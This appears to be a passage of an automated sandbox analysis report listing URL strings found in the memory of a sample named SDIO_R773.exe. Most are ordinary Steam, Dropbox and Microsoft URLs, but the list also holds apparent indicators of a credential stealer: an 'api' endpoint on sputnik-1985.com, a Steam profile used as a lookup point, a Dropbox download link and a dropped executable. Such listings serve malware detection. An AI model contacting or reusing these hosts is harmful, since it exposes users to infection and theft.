Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=JWHwHdDIz5WW&l=e
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: SDIO_R773.exe, 00000000.00000002.2067904046.0000000000D98000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.2060769006.0000000000D97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dropbox.com/iZ
Source: SDIO_R773.exe, 00000000.00000002.2067904046.0000000000D98000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.2060769006.0000000000D97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dropbox.com/v
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://forums.dropbox.com
Source: SDIO_R773.exe	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: SDIO_R773.exe	String found in binary or memory: https://github.com/arvidn/libtorrent/issues
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.st
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampo
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steamp
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1969046002.00000000047DB000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958490684.00000000047DF000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/
Source: SDIO_R773.exe, 00000000.00000002.2067744653.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2066797770.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/api
Source: SDIO_R773.exe, 00000000.00000003.2005003653.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067744653.0000000000D85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apiQ
Source: SDIO_R773.exe, 00000000.00000003.1958490684.00000000047DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apiW
Source: SDIO_R773.exe, 00000000.00000003.2005093546.00000000047DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apii
Source: SDIO_R773.exe, 00000000.00000003.1981585551.00000000047D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apijh
Source: SDIO_R773.exe, 00000000.00000003.1958629667.00000000047D9000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958490684.00000000047D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com:443/api
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://status.dropbox.com
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: SDIO_R773.exe, 00000000.00000003.1829580838.0000000004836000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SDIO_R773.exe, 00000000.00000003.1830640311.000000000482D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1829580838.0000000004834000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958554125.000000000482D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958402349.000000000482D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: SDIO_R773.exe, 00000000.00000003.1830640311.0000000004808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: SDIO_R773.exe, 00000000.00000003.1830640311.000000000482D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1829580838.0000000004834000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958554125.000000000482D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958402349.000000000482D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: SDIO_R773.exe, 00000000.00000003.1830640311.0000000004808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/cd/0/get/Ch9Eke8i0BLC3-DtINknVGtnjncu
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/dE
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com:443/cd/0/get/Ch9Eke8i0BLC3-DtINknVGtn
Source: SDIO_R773.exe	String found in binary or memory: https://www.certum.pl/CPS0
